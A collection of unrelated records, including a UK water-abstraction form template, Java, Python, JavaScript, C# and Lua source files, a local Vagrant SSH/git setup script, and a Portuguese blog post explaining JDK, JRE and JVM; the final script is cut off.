            Sheffield, S9 4WF

            To claim commercial in confidence, for help completing the form, or to find your local area office, contact us on 03708 506 506.

            Lines are open Monday to Friday,

            8am to 6pm (GMT).

          Licence number

          AN/033/0012/007

          Return reference

          10042736

          Site

          Great Ouse at Bedford College

          Purpose

          Heat pump cooling water

          Period

          1 April 2018 to 31 March 2019

          Two-part tariff

          Yes

              If you do not send your return in time

              we may take enforcement action.

{% endmacro %}

{% macro declaration(personalisation) %}

        10. Reporting without a meter

        What are the abstraction volumes based on, for example, pump capacity by hours run?

        11. Total water abstracted

        Amount abstracted

        12. Further information

          If you need to explain an entry or give more information send this on a separate sheet. Write the return reference 10042736 and your licence number AN/033/0012/007 on each sheet.

          I am sending further information

        13. Declaration

        I confirm that the information I have provided is correct, to the best of my knowledge.

        Signed

{% endmacro %}

{% macro openquestions(personalisation) %}

        1. Who is the contact for this return?

        Write in CAPITAL LETTERS

          First name

          Last name

          Telephone

          Email

        2. Did you abstract water?

          Yes

          No (nil return)

          If no, go to section 13

        3. Unit of measurement

          Cubic metres

          Litres

          Megalitres

          Gallons

        4. Did you use a meter?

          If you used more than one meter you must report your return in abstraction volumes.

          Yes

          No

        If no, go to section 9

        5. Meter details

          If you used more than one meter you only need to tell us about one of them.

          Manufacturer

          Serial number

          Some meters are marked with ×10. If yours is, send us the actual number on the display. You do not need to multiply it by 10.

          My meter has a ×10 display

        6. Start meter reading

          The date when abstraction starts,
 for example 19 03 2019

          Reading

        7. End meter reading

          The date when abstraction ends

          Reading

        8. How are you reporting your return?

          Meter readings

          Abstraction volumes

{% endmacro %}

{% macro privacy(personalisation) %}

        How we use your personal data - privacy notice

        The data controller is the Environment Agency. A data controller determines how and why personal data is processed.

        The data we need

        This data includes your name, contact details and any records of water use.

        Why we need it

        We collect the data to:

          process your water use records

          keep public registers up to date

          contact you about your licence

          register you to use our online water resources service

          process your licence applications

          amend or renew your existing licence

          advertise your application for a new licence, if required

        We need to do this to manage water resources in England. This is in the public interest and the data controller has official authority vested in it to do this.

        Sharing and transferring personal data

        We will not share your data with anyone outside of the Environment Agency without your consent unless we are allowed to do so by law. But we may pass your data on to our agents or representatives to process it for us.

        We will not transfer your data outside the European Economic Area.

        How long we hold personal data

        We will keep your personal data required to access the Manage your water abstraction or impoundment licence service and for as long as you require access to the service.

        We will keep other personal data for 7 years once the abstraction or impoundment licence ceases to have effect. After 7 years we will review retention in line with our standard information retention policy.

        Automated decision-making and profiling

        We will not use the information you provide:

          to make a decision by automated means without any human involvement

          for automated processing of personal data to check certain things about someone

          For general information about how we treat your personal data, see our Personal Information Charter: www.gov.uk/government/
organisations/environmentagency/
about/personalinformationcharter

        Contacting us

        You can email us about your data:

dataprotection@environment-agency.gov.uk

        Or write to:

        Data Protection Team, Environment Agency, Horizon House, Deanery Road, Bristol BS1 5AH

        Find out about your rights or complain on the Information Commissioner's Office:

        www.ico.org.uk

{% endmacro %}


text:
echo 'Generating vagrant ssh keys for git authentication'
ssh-keygen -f /home/vagrant/.ssh/id_rsa -t rsa -N ''
ssh-keyscan -H localhost >> ~/.ssh/known_hosts
eval '$(ssh-agent -s)'
ssh-add | true

echo 'Configuring git credentials'
git config --global user.email 'labhound@localhost'
git config --global user.name 'labhound'


text:
package org.codelibs.bench.core.action;

import org.elasticsearch.action.ActionResponse;
import org.elasticsearch.common.io.stream.StreamInput;
import org.elasticsearch.common.io.stream.StreamOutput;
import org.elasticsearch.common.io.stream.Streamable;
import org.elasticsearch.common.xcontent.ToXContent;
import org.elasticsearch.common.xcontent.XContentBuilder;
import org.elasticsearch.common.xcontent.XContentFactory;

import java.io.IOException;
import java.util.List;
import java.util.ArrayList;

/**
 * Node-level response for the status of an on-going benchmark
 */
public class BenchmarkStatusNodeResponse extends ActionResponse implements Streamable, ToXContent {

    private String nodeName;
    private List<BenchmarkResponse> benchmarkResponses;

    public BenchmarkStatusNodeResponse() {
        benchmarkResponses = new ArrayList<>();
    }

    public void nodeName(String nodeName) {
        this.nodeName = nodeName;
    }

    public String nodeName() {
        return nodeName;
    }

    public void addBenchResponse(BenchmarkResponse benchmarkResponse) {
        benchmarkResponses.add(benchmarkResponse);
    }

    public List<BenchmarkResponse> benchResponses() {
        return benchmarkResponses;
    }

    public int activeBenchmarks() {
        return benchResponses().size();
    }

    @Override
    public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
        builder.field("node", nodeName);
        builder.startArray("responses");
        for (BenchmarkResponse benchmarkResponse : benchmarkResponses) {
            benchmarkResponse.toXContent(builder, params);
        }
        builder.endArray();
        return builder;
    }

    @Override
    public void readFrom(StreamInput in) throws IOException {
        super.readFrom(in);
        nodeName = in.readString();
        int size = in.readVInt();
        for (int i = 0; i < size; i++) {
            BenchmarkResponse br = new BenchmarkResponse();
            br.readFrom(in);
            benchmarkResponses.add(br);
        }
    }

    @Override
    public void writeTo(StreamOutput out) throws IOException {
        super.writeTo(out);
        out.writeString(nodeName);
        out.writeVInt(benchmarkResponses.size());
        for (BenchmarkResponse br : benchmarkResponses) {
            br.writeTo(out);
        }
    }

    @Override
    public String toString() {
        try {
            XContentBuilder builder = XContentFactory.jsonBuilder().prettyPrint();
            builder.startObject();
            toXContent(builder, EMPTY_PARAMS);
            builder.endObject();
            return builder.string();
        } catch (IOException e) {
            return "{ \"error\" : \"" + e.getMessage() + "\"}";
        }
    }
}


text: {{> templates-products }}


text:
package com.intellij.codeInspection.miscGenerics;

import com.intellij.codeInsight.CodeInsightUtilBase;
import com.intellij.codeInsight.daemon.GroupNames;
import com.intellij.codeInspection.*;
import com.intellij.openapi.diagnostic.Logger;
import com.intellij.openapi.project.Project;
import com.intellij.psi.*;
import com.intellij.psi.util.PsiUtil;
import com.intellij.refactoring.util.InlineUtil;
import com.intellij.util.IncorrectOperationException;
import org.jetbrains.annotations.NonNls;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;

import java.util.ArrayList;
import java.util.List;

/**
 * @author ven
 */
public class RedundantArrayForVarargsCallInspection extends GenericsInspectionToolBase {
  private static final Logger LOG = Logger.getInstance("#com.intellij.codeInspection.miscGenerics.RedundantArrayForVarargsCallInspection");
  private final LocalQuickFix myQuickFixAction = new MyQuickFix();

  private static class MyQuickFix implements LocalQuickFix {
    public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) {
      PsiNewExpression arrayCreation = (PsiNewExpression) descriptor.getPsiElement();
      if (arrayCreation == null || !arrayCreation.isValid()) return;
      if (!CodeInsightUtilBase.prepareFileForWrite(arrayCreation.getContainingFile())) return;
      InlineUtil.inlineArrayCreationForVarargs(arrayCreation);
    }

    @NotNull
    public String getFamilyName() {
      return getName();
    }

    @NotNull
    public String getName() {
      return InspectionsBundle.message("inspection.redundant.array.creation.quickfix");
    }
  }

  public ProblemDescriptor[] getDescriptions(PsiElement place, final InspectionManager manager) {
    if (!PsiUtil.isLanguageLevel5OrHigher(place)) return null;
    final List<ProblemDescriptor> problems = new ArrayList<ProblemDescriptor>();
    place.accept(new JavaRecursiveElementWalkingVisitor() {
      @Override public void visitCallExpression(PsiCallExpression expression) {
        super.visitCallExpression(expression);
        checkCall(expression);
      }

      @Override public void visitEnumConstant(PsiEnumConstant enumConstant) {
        super.visitEnumConstant(enumConstant);
        checkCall(enumConstant);
      }

      @Override public void visitClass(PsiClass aClass) {
        //do not go inside to prevent multiple signals of the same problem
      }

      private void checkCall(PsiCall expression) {
        final JavaResolveResult resolveResult = expression.resolveMethodGenerics();
        PsiElement element = resolveResult.getElement();
        final PsiSubstitutor substitutor = resolveResult.getSubstitutor();
        if (element instanceof PsiMethod && ((PsiMethod)element).isVarArgs()) {
          PsiMethod method = (PsiMethod)element;
          PsiParameter[] parameters = method.getParameterList().getParameters();
          PsiExpressionList argumentList = expression.getArgumentList();
          if (argumentList != null) {
            PsiExpression[] args = argumentList.getExpressions();
            if (parameters.length == args.length) {
              PsiExpression lastArg = args[args.length - 1];
              PsiParameter lastParameter = parameters[args.length - 1];
              PsiType lastParamType = lastParameter.getType();
              LOG.assertTrue(lastParamType instanceof PsiEllipsisType);
              if (lastArg instanceof PsiNewExpression &&
                  substitutor.substitute(((PsiEllipsisType) lastParamType).toArrayType()).equals(lastArg.getType())) {
                PsiExpression[] initializers = getInitializers((PsiNewExpression)lastArg);
                if (initializers != null) {
                  if (isSafeToFlatten(expression, method, initializers)) {
                    final ProblemDescriptor descriptor = manager.createProblemDescriptor(lastArg,
                                                                                InspectionsBundle.message("inspection.redundant.array.creation.for.varargs.call.descriptor"),
                                                                                myQuickFixAction,
                                                                                ProblemHighlightType.GENERIC_ERROR_OR_WARNING);

                    problems.add(descriptor);
                  }
                }
              }
            }
          }
        }
      }

      private boolean isSafeToFlatten(PsiCall callExpression, PsiMethod oldRefMethod, PsiExpression[] arrayElements) {
        if (arrayElements.length == 1) {
          PsiType type = arrayElements[0].getType();
          // change foo(new Object[]{array}) to foo(array) is not safe
          if (PsiType.NULL.equals(type) || type instanceof PsiArrayType) return false;
        }
        PsiCall copy = (PsiCall)callExpression.copy();
        PsiExpressionList copyArgumentList = copy.getArgumentList();
        LOG.assertTrue(copyArgumentList != null);
        PsiExpression[] args = copyArgumentList.getExpressions();
        try {
          args[args.length - 1].delete();
          if (arrayElements.length > 0) {
            copyArgumentList.addRange(arrayElements[0], arrayElements[arrayElements.length - 1]);
          }
          final JavaResolveResult resolveResult = copy.resolveMethodGenerics();
          return resolveResult.isValidResult() && resolveResult.getElement() == oldRefMethod;
        }
        catch (IncorrectOperationException e) {
          return false;
        }
      }
    });
    if (problems.isEmpty()) return null;
    return problems.toArray(new ProblemDescriptor[problems.size()]);
  }

  @Nullable
  private static PsiExpression[] getInitializers(final PsiNewExpression newExpression) {
    PsiArrayInitializerExpression initializer = newExpression.getArrayInitializer();
    if (initializer != null) {
      return initializer.getInitializers();
    }
    PsiExpression[] dims = newExpression.getArrayDimensions();
    if (dims.length > 0) {
      PsiExpression firstDimension = dims[0];
      Object value =
        JavaPsiFacade.getInstance(newExpression.getProject()).getConstantEvaluationHelper().computeConstantExpression(firstDimension);
      if (value instanceof Integer && ((Integer)value).intValue() == 0) return PsiExpression.EMPTY_ARRAY;
    }

    return null;
  }

  @NotNull
  public String getGroupDisplayName() {
    return GroupNames.VERBOSE_GROUP_NAME;
  }

  @NotNull
  public String getDisplayName() {
    return InspectionsBundle.message("inspection.redundant.array.creation.display.name");
  }

  @NotNull
  @NonNls
  public String getShortName() {
    return "RedundantArrayCreation";
  }
}


text:
from __future__ import unicode_literals, absolute_import

from django.contrib.auth.models import AbstractUser
from django.db import models
from django.urls import reverse
from django.utils.encoding import python_2_unicode_compatible
from django.utils.translation import ugettext_lazy as _
from guardian.mixins import GuardianUserMixin

@python_2_unicode_compatible
class User(GuardianUserMixin, AbstractUser):

    # First Name and Last Name do not cover name patterns
    # around the globe.
    name = models.CharField(_("Name of User"), blank=True, max_length=255)

    def __str__(self):
        return self.username

    def get_absolute_url(self):
        return reverse("users:detail", kwargs={"username": self.username})

    def has_perm(self, perm, obj=None):
        if obj is not None:
            has_local_perm = super(User, self).has_perm(perm, obj)
        else:
            has_local_perm = False
        has_global_perm = super(User, self).has_perm(perm)
        return has_local_perm or has_global_perm


text:
package oose.dea.dao;

import oose.dea.domain.Item;

import java.util.ArrayList;
import java.util.List;

public class FakeItemDAO implements ItemDAO {
    @Override
    public List<Item> list() {
        List<Item> items = new ArrayList<Item>();
        items.add(new Item("Frikandel", "Snacks", "Lekker wel!"));
        items.add(new Item("Kroket", "Snacks", "Ook lekker in bed!"));
        return items;
    }
}


text:
;(function(){
  // getComputedStyle shouldn't freak out when called
  // without a valid element as argument
  try {
    getComputedStyle(undefined)
  } catch(e) {
    var nativeGetComputedStyle = getComputedStyle;
    window.getComputedStyle = function(element){
      try {
        return nativeGetComputedStyle(element)
      } catch(e) {
        return null
      }
    }
  }
})()


text:
package com.sequenceiq.cloudbreak.orchestrator.yarn.poller;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import com.sequenceiq.cloudbreak.orchestrator.OrchestratorBootstrap;
import com.sequenceiq.cloudbreak.orchestrator.exception.CloudbreakOrchestratorFailedException;
import com.sequenceiq.cloudbreak.orchestrator.yarn.api.YarnResourceConstants;
import com.sequenceiq.cloudbreak.orchestrator.yarn.client.YarnClient;
import com.sequenceiq.cloudbreak.orchestrator.yarn.client.YarnHttpClient;
import com.sequenceiq.cloudbreak.orchestrator.yarn.model.core.ApplicationState;
import com.sequenceiq.cloudbreak.orchestrator.yarn.model.core.Container;
import com.sequenceiq.cloudbreak.orchestrator.yarn.model.core.ContainerState;
import com.sequenceiq.cloudbreak.orchestrator.yarn.model.request.ApplicationDetailRequest;
import com.sequenceiq.cloudbreak.orchestrator.yarn.model.response.ApplicationDetailResponse;
import com.sequenceiq.cloudbreak.orchestrator.yarn.model.response.ResponseContext;

public class YarnAppBootstrap implements OrchestratorBootstrap {

    private static final Logger LOGGER = LoggerFactory.getLogger(YarnAppBootstrap.class);

    private final String appName;

    private final String apiEndpoint;

    public YarnAppBootstrap(String appName, String apiEndpoint) {
        this.appName = appName;
        this.apiEndpoint = apiEndpoint;
    }

    @Override
    public Boolean call() throws Exception {
        YarnClient dashHttpClient = new YarnHttpClient(apiEndpoint);

        // Make the request
        ApplicationDetailRequest applicationDetailRequest = new ApplicationDetailRequest();
        applicationDetailRequest.setName(appName);
        ResponseContext responseContext = dashHttpClient.getApplicationDetail(applicationDetailRequest);

        // If 404, application isn't ready, sleep
        if (responseContext.getStatusCode() == YarnResourceConstants.HTTP_NOT_FOUND) {
            String msg = String.format("Application %s not ready, received %d response, sleeping 1000 ms", appName, responseContext.getStatusCode());
            LOGGER.debug(msg);
            throw new CloudbreakOrchestratorFailedException(msg);
        }

        // If 200, check application state to ensure RUNNING
        if (responseContext.getStatusCode() == YarnResourceConstants.HTTP_SUCCESS) {
            if (null != responseContext.getResponseObject()) {
                ApplicationDetailResponse applicationDetailResponse = (ApplicationDetailResponse) responseContext.getResponseObject();

                // Validate the application is "RUNNING"
                if (!applicationDetailResponse.getState().equals(ApplicationState.READY.name())) {
                    LOGGER.debug(String.format("Application %s not ready, in %s state, sleeping 1000 ms", appName, applicationDetailResponse.getState()));
                    throw new CloudbreakOrchestratorFailedException(String.format("Application %s not ready, in %s state, sleeping 1000 ms", appName,
                            applicationDetailResponse.getState()));
                } else {
                    // Validate the container is running
                    if (applicationDetailResponse.getContainers().size() > 0) {
                        Container appContainer = applicationDetailResponse.getContainers().get(0);
                        if (!appContainer.getState().equals(ContainerState.READY.name())) {
                            String msg = String.format("Application %s not ready, in %s state, sleeping 1000 ms",
                                    appName, applicationDetailResponse.getState());
                            LOGGER.debug(msg);
                            throw new CloudbreakOrchestratorFailedException(msg);
                        } else {
                            String msg = String.format("Application %s has now successfully started, in %s state",
                                    appName, applicationDetailResponse.getState());
                            LOGGER.debug(msg);
                            return true;
                        }
                    }
                }
            }
        }
        return true;
    }
}


text:
vendor/bin/phpcs --standard=PSR1,PSR2 Soneritics/PostNL/
vendor/bin/phpunit tests/Voormelding/


text:
package org.hibernate.tool.hbm2ddl;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.Properties;

import org.apache.tools.ant.BuildException;
import org.apache.tools.ant.DirectoryScanner;
import org.apache.tools.ant.Project;
import org.apache.tools.ant.taskdefs.MatchingTask;
import org.apache.tools.ant.types.FileSet;

import org.hibernate.HibernateException;
import org.hibernate.cfg.Configuration;
import org.hibernate.cfg.NamingStrategy;
import org.hibernate.internal.util.ReflectHelper;
import org.hibernate.internal.util.collections.ArrayHelper;

/**
 * An Ant task for <tt>SchemaUpdate</tt>.
 *
 * <pre>
 * <taskdef name="schemavalidator"
 *     classname="org.hibernate.tool.hbm2ddl.SchemaValidatorTask"
 *     classpathref="class.path"/>
 *
 * <schemaupdate
 *     properties="${build.classes.dir}/hibernate.properties"
 *     <fileset dir="${build.classes.dir}">
 *         <include name="*.hbm.xml"/>
 *     </fileset>
 * </schemaupdate>
 * </pre>
 *
 * @see SchemaValidator
 * @author Gavin King
 */
public class SchemaValidatorTask extends MatchingTask {

	private List fileSets = new LinkedList();
	private File propertiesFile = null;
	private File configurationFile = null;
	private String namingStrategy = null;

	public void addFileset(FileSet set) {
		fileSets.add(set);
	}

	/**
	 * Set a properties file
	 * @param propertiesFile the properties file name
	 */
	public void setProperties(File propertiesFile) {
		if ( !propertiesFile.exists() ) {
			throw new BuildException("Properties file: " + propertiesFile + " does not exist.");
		}

		log("Using properties file " + propertiesFile, Project.MSG_DEBUG);
		this.propertiesFile = propertiesFile;
	}

	/**
	 * Set a <literal>.cfg.xml</literal> file
	 * @param configurationFile the file name
	 */
	public void setConfig(File configurationFile) {
		this.configurationFile = configurationFile;
	}

	/**
	 * Execute the task
	 */
	@Override
    public void execute() throws BuildException {
		try {
			Configuration cfg = getConfiguration();
			getSchemaValidator(cfg).validate();
		}
		catch (HibernateException e) {
			throw new BuildException("Schema text failed: " + e.getMessage(), e);
		}
		catch (FileNotFoundException e) {
			throw new BuildException("File not found: " + e.getMessage(), e);
		}
		catch (IOException e) {
			throw new BuildException("IOException : " + e.getMessage(), e);
		}
		catch (Exception e) {
			throw new BuildException(e);
		}
	}

	private String[] getFiles() {

		List files = new LinkedList();
		for ( Iterator i = fileSets.iterator(); i.hasNext(); ) {

			FileSet fs = (FileSet) i.next();
			DirectoryScanner ds = fs.getDirectoryScanner( getProject() );

			String[] dsFiles = ds.getIncludedFiles();
			for (int j = 0; j < dsFiles.length; j++) {
				File f = new File(dsFiles[j]);
				if ( !f.isFile() ) {
					f = new File( ds.getBasedir(), dsFiles[j] );
				}

				files.add( f.getAbsolutePath() );
			}
		}

		return ArrayHelper.toStringArray( files );
	}

	private Configuration getConfiguration() throws Exception {
		Configuration cfg = new Configuration();
		if (namingStrategy!=null) {
			cfg.setNamingStrategy(
					(NamingStrategy) ReflectHelper.classForName(namingStrategy).newInstance()
				);
		}
		if (configurationFile!=null) {
			cfg.configure( configurationFile );
		}

		String[] files = getFiles();
		for (int i = 0; i < files.length; i++) {
			String filename = files[i];
			if ( filename.endsWith(".jar") ) {
				cfg.addJar( new File(filename) );
			}
			else {
				cfg.addFile(filename);
			}
		}
		return cfg;
	}

	private SchemaValidator getSchemaValidator(Configuration cfg) throws HibernateException, IOException {
		Properties properties = new Properties();
		properties.putAll( cfg.getProperties() );
		if (propertiesFile == null) {
			properties.putAll( getProject().getProperties() );
		}
		else {
			properties.load( new FileInputStream(propertiesFile) );
		}
		cfg.setProperties(properties);
		return new SchemaValidator(cfg);
	}

	public void setNamingStrategy(String namingStrategy) {
		this.namingStrategy = namingStrategy;
	}

}


text:
import { Component, OnInit } from '@angular/core';

import { ToastService } from '../../core';

@Component({
  selector: 'toh-toast',
  template: '
toast
'
})
export class ToastComponent implements OnInit {
  constructor(toastService: ToastService) { }

  ngOnInit() { }
}


text:
using System;
using System.Collections.Generic;
using System.Diagnostics;

namespace Octokit
{
    [DebuggerDisplay("{DebuggerDisplay,nq}")]
    public class ApiOptions
    {
        private static ApiOptions emptyOptions = new ApiOptions();

        public static ApiOptions None
        {
            get { return emptyOptions; }
        }

        /// <summary>
        /// Specify the start page for pagination actions
        /// </summary>
        /// <remarks>
        /// Page numbering is 1-based on the server
        /// </remarks>
        public int? StartPage { get; set; }

        /// <summary>
        /// Specify the number of pages to return
        /// </summary>
        public int? PageCount { get; set; }

        /// <summary>
        /// Specify the number of results to return for each page
        /// </summary>
        /// <remarks>
        /// Results returned may be less than this total if you reach the final page of results
        /// </remarks>
        public int? PageSize { get; set; }

        internal string DebuggerDisplay
        {
            get
            {
                var values = new List<string>();

                if (StartPage.HasValue)
                {
                    values.Add("StartPage: " + StartPage.Value);
                }

                if (PageCount.HasValue)
                {
                    values.Add("PageCount: " + PageCount.Value);
                }

                if (PageSize.HasValue)
                {
                    values.Add("PageSize: " + PageSize.Value);
                }

                return String.Join(", ", values);
            }
        }
    }
}


text:
title:  Inside Story
date:   16/12/2022
---

### We werken aan deze les.
Kom alsjeblieft terug.


text:
local eal = require 'lib.eal.manager'
require 'factories.base'
require 'lib.utils'
local fs = require 'lib.filesystem'

local CharacterFactory = class(EntityFactory, function(self)
  EntityFactory.init(self, "character")
  self.templates = {}
end)

characters = characters or CharacterFactory()

function CharacterFactory:getTemplates()
  local charactersDirectory = fs.path.join(core.env.workdir, "characters")
  if self.charactersFolder ~= charactersDirectory then
    self.charactersFolder = charactersDirectory
    for _, file in ipairs(fs.path.ls(self.charactersFolder)) do
      if fs.path.extension(file) == "json" then
        local type = fs.path.basename(file)
        self.templates[type] = function(name, settings)
          local e = data:createEntity(fs.path.join(self.charactersFolder, file), settings)
          if not e then
            return nil
          end

          return eal:getEntity(e.id)
        end
      end
    end
    self:updateAvailableTypes()
  end
end

function CharacterFactory:getAvailableTypes()
  self:getTemplates()
  return EntityFactory.getAvailableTypes(self)
end

function CharacterFactory:updateAvailableTypes()
  EntityFactory.updateAvailableTypes(self)
  for key in pairs(self.templates) do
    table.insert(self.availableTypes, key)
  end
end

-- override create method to implement dynamic character scan
function CharacterFactory:getConstructor(type)
  self:getTemplates()
  return self.templates[type] or self.definitions[type]
end

return characters


text:
title: 'Qual a diferença entre JDK, JRE e JVM'
date: '2019-01-14'
author: Gustavo Furtado de Oliveira Alves
category: Util
tags: JDK, JRE, JVM
image: /images/logo-java.png
---

Uma grande confusão que paira sobre quem está começando a aprender sobre o mundo Java é
**a diferença entre JDK, JRE e JVM**.
Neste post você vai entender, de uma vez por todas, a diferença entre essas três siglas
e porque é importante saber para que serve cada um.

A primeira coisa que você precisa saber é que o Java é muito conhecido por trazer o conceito de multi-plataforma.
Na verdade esse é o motivo do grande sucesso do Java à mais de vinte anos!
O famoso [**WORA**](https://pt.wikipedia.org/wiki/WORA){:target=\_blank} (_Write once, run anywhere._),
ou em bom português: "_Escreva uma vez, execute em qualquer lugar_".

Na prática, só de entender esse conceito e como o Java faz para tornar possível
escrever um único código e executá-lo em qualquer sistema operacional,
você já vai perceber, por alto, a diferença entre JDK, JRE e JVM e onde cada um se encaixa.

O fluxo é basicamente o seguinte:

1. Você escreve o seu código-fonte (arquivo com a extensão .java).
2. Você utiliza o JDK para compilar o seu código-fonte e gerar o arquivo _bytecode_ (arquivo com a extensão .class).
3. Para executar o seu programa, a JVM lê o seu arquivo compilado (.class) e as bibliotecas padrões do Java que estão no JRE.
4. Pronto, seu programa está rodando e todo mundo está feliz! :)

Então, a grosso modo, já deu pra perceber pra quê serve cada um:

- **JDK (Java Development Kit) - é o Kit de Desenvolvimento Java responsável por compilar código-fonte (.java) em _bytecode_ (.class)**
- **JVM (Java Virtual Machine) - é a Máquina Virtual do Java reponsável por executar o _bytecode_ (.class)**
- **JRE (Java Runtime Environment) - Ambiente de Execução do Java que fornece as bibliotecas padrões do Java para o JDK compilar o seu código e para a JVM executar o seu programa.**

Este é o básico que você precisa saber sobre essas três siglas e como o Java funciona.

Mas estes 3 componentes têm um certo relacionamento entre eles.
Vamos nos aprofundar um pouco mais o entendimento de cada um e como eles se relacionam entre sí para possibilitar a "mágica" do mundo Java.

## JVM - Máquina Virtual do Java

Já vimos que a JVM é a responsavel por executar os programas no formato _bytecode_, certo?
Mas a JVM não é só isso, ela é na verdade o coração do Java,
reponsável por fornecer a tal capacidade de multi-plataforma.

Isso porque depois que você instala a JVM no sistema operacional (Windows, Linux, Mac, etc.),
Ela é capaz de interpretar e executar o programa compilado em formato _bytecode_
em qualquer um desses SOs.

Um coisa legal de perceber aqui é que a JVM executa um programa _bytecode_,
mesmo que este programa _bytecode_ não tenha sido escrito em Java necessariamente.

Isso mesmo! Você não precisa programar na linguagem java, para executar um programa na JVM.
Você pode criar seus programas em outras linguagens que também geram arquivos _bytecode_.
Existem várias delas, alguns exemplos são: Scala, JRuby, Jython, Clojure, Groovy, etc..

Outro ponto importante é que a **JVM** é, na verdade, uma especificação.
Isso significa que uma JVM pode ser desenvolvida por qualquer organização,
desde que sigam as especificações para a Java Virtual Machine.

## JRE - Ambiente de Execução Java

O JRE provê os requisitos mínimos para executar um programa java.
Ele contém uma JVM, os pacotes básicos do Java (API core),
por exemplo o pacote lang que tem a classe `String`.

Por fim o JRE também provê ferramentas para executar os programas java.
Uma delas é o executável `java.exe`, que é utilizado para executar uma classe java
que contém um método `main(String args[])`.

Agora você já sabe que quando você executa o comando `java SuaClasse`,
é o JRE que provê esse programa `java.exe` que você está usando.

## JDK - Kit de Desenvolvimento Java

O JDK é Kit que provê ferramentas para o desenvolvimento de programas Java.
Ou seja, ele contém um compilador, um depurador e o próprio JRE para você executar os seus programas.

É o JDK que nos provê o programa `javac.exe`, que compila códigos `.java` em _bytecodes_ `.class`.

Agora você já sabe q eu quando você executa o comando `javac SuaClasse.java`,
é o JDK que provê esse programa `javac.exe` que você está usando.

## Uma visão geral

Agora que você já sabe um pouco mais sobre JDK, JRE e JVM,
você já deve ter percebido que a JDK traz também um JRE,
e o JRE, por sua vez, traz também uma implementação da JVM.

A imagem abaixo ilustra a relação entre esses componentes.

![JDK, JRE e JVM](/images/jdk_jre_jvm.png){:style="width: 100%; padding: 10px;"}

Espero que este post tenha sido esclarecedor para você
e que tenha contribuído um pouco com o seu aprendizado.

Se tiver alguma dúvida, fique à vontade para postar aí nos comentários!

## Referências:

1. [Java.com: TechInfo](https://www.java.com/pt_BR/download/faq/techinfo.xml){:target=\_blank}


text:
var format = (function(){
  // Date.format follows python datetime formatting.
  // @see http://docs.python.org/2/library/datetime.html#strftime-and-strptime-behavior
  var WEEKDAYS = ['Sunday', 'Monday', 'Tuesday', 'Wednesday',
                  'Thursday', 'Friday', 'Saturday'];
  var MONTH = ['January', 'February', 'March', 'April',
               'May', 'June', 'July', 'August',
               'September', 'October', 'November', 'December'];
  return function(format) {
    var self = this;

    // 'esc' declares whether or not we found an escape character.
    var esc = false;
    var str = '';
    for (var i = 0; i < format.length; ++i) {
      if (esc) {
        // Escape character followed by these characters
        // is a formatting option.
        switch(format[i]) {
          case 'a':
            str += WEEKDAYS[self.getDay()].substring(0,3);
          break;
          case 'A':
            str += WEEKDAYS[self.getDay()];
          break;
          case 'b':
            str += MONTH[self.getMonth()].substring(0,3);
          break;
          case 'B':
            str += MONTH[self.getMonth()];
          break;
          case 'c':
            str += self.toLocaleString();
          break;
          case 'd':
            var tmp = '00' + self.getDate();
            str += tmp.substring(tmp.length - 2, tmp.length);
          break;
          case 'f':
            // TODO: Microsecond as a decimal number [0,999999], zero-padded on the left
          break;
          case 'H':
            var tmp = '00' + self.getHours();
            str += tmp.substring(tmp.length - 2, tmp.length);
          break;
          case 'I':
            var hour = self.getHours() % 12;
            var tmp = '00' + ((hour == 0) ? '12' : hour);
            str += tmp.substring(tmp.length - 2, tmp.length);
          break;
          case 'j':
            // TODO: Day of the year as a decimal number [001,366].
          break;
          case 'm':
            var tmp = '00' + (self.getMonth() + 1);
            str += tmp.substring(tmp.length - 2, tmp.length);
          case 'M':
            var tmp = '00' + self.getMinutes();
            str += tmp.substring(tmp.length - 2, tmp.length);
          break;
          case 'p':
            str += (self.getHours() > 11) ? 'PM' : 'AM';
          break;
          case 'S':
            var tmp = '00' + self.getSeconds();
            str += tmp.substring(tmp.length - 2, tmp.length);
          break;
          case 'U':
            // TODO: Week number of the year [0,53]. Sunday starts.
          break;
          case 'w':
            str += self.getDay();
          break;
          case 'W':
            // TODO: Week number of the year [0,53]. Monday starts.
          break;
          case 'x':
            str += self.toLocaleDateString();
          break;
          case 'X':
            str += self.toLocaleTimeString();
          break;
          case 'y':
            str += self.getFullYear() % 100;
          break;
          case 'Y':
            str += self.getFullYear();
          break;
          case 'z':
            // TODO: UTC offset in the form +HHMM or -HHMM (empty string if the the object is naive)
          break;
          case 'Z':
            // Time zone name (empty string if the object is naive).
          break;
          case '%':
            str += '%'
          break
          default:
            // Bad escape.
            str += '%' + format[i];
          break;
        }
        esc = false;
      } else {
        switch(format[i]) {
          case '%':
            esc = true;
          break;
          default:
            str += format[i];
          break;
        }
      }
    }

    return str;
  };
})();
Date.prototype.format = format;

function showSection(section) {
  $('.section').hide();
  $('#' + section).show();
  $(window).scrollTop(0);
  addFileBrowseButton();
}

function getFileBrowseButton(inputElement, folderSelectable, fileSelectable, uploadFile, createFolder) {
  var modal = null;
  if (fileSelectable && folderSelectable) {
    modal = "#choosePath";
  } else if (folderSelectable) {
    modal = "#chooseDirectory";
  } else {
    modal = "#chooseFile";
  }
  var chooser = modal + " .chooser";

  return $("<button>").addClass("btn").addClass("chooserBtn").text("..").click(function(e){
    e.preventDefault();

    $(chooser).jHueFileChooser({
      initialPath: inputElement.val(),
      onFileChoose: function(filePath) {
        if (fileSelectable){
          inputElement.val(filePath);
          inputElement.change();
          addFileBrowseButton();
          $(modal).modal("hide");
        }
      },
      onFolderChange: function(filePath) {
        inputElement.val(filePath);
        inputElement.change();
      },
      onFolderChoose: function(filePath) {
        if (folderSelectable){
          inputElement.val(filePath);
          inputElement.change();
          addFileBrowseButton();
          $(modal).modal("hide");
        }
      },
      createFolder: createFolder,
      selectFolder: folderSelectable,
      uploadFile: uploadFile,
      forceRefresh: true
    });
    $(modal).modal("show");
  })
}

function addFileBrowseButton() {
  // Filechooser.
  $(".pathChooserKo").each(function(){
    var self = $(this);
    if (!self.siblings().hasClass('chooserBtn')) {
      self.after(getFileBrowseButton(self, true, true, false, true));
    }
  });

  $(".pathFileChooserKo").each(function(){
    var self = $(this);
    if (!self.siblings().hasClass('chooserBtn')) {
      self.after(getFileBrowseButton(self, false, true, true, false));
    }
  });

  $(".pathFolderChooserKo").each(function(){
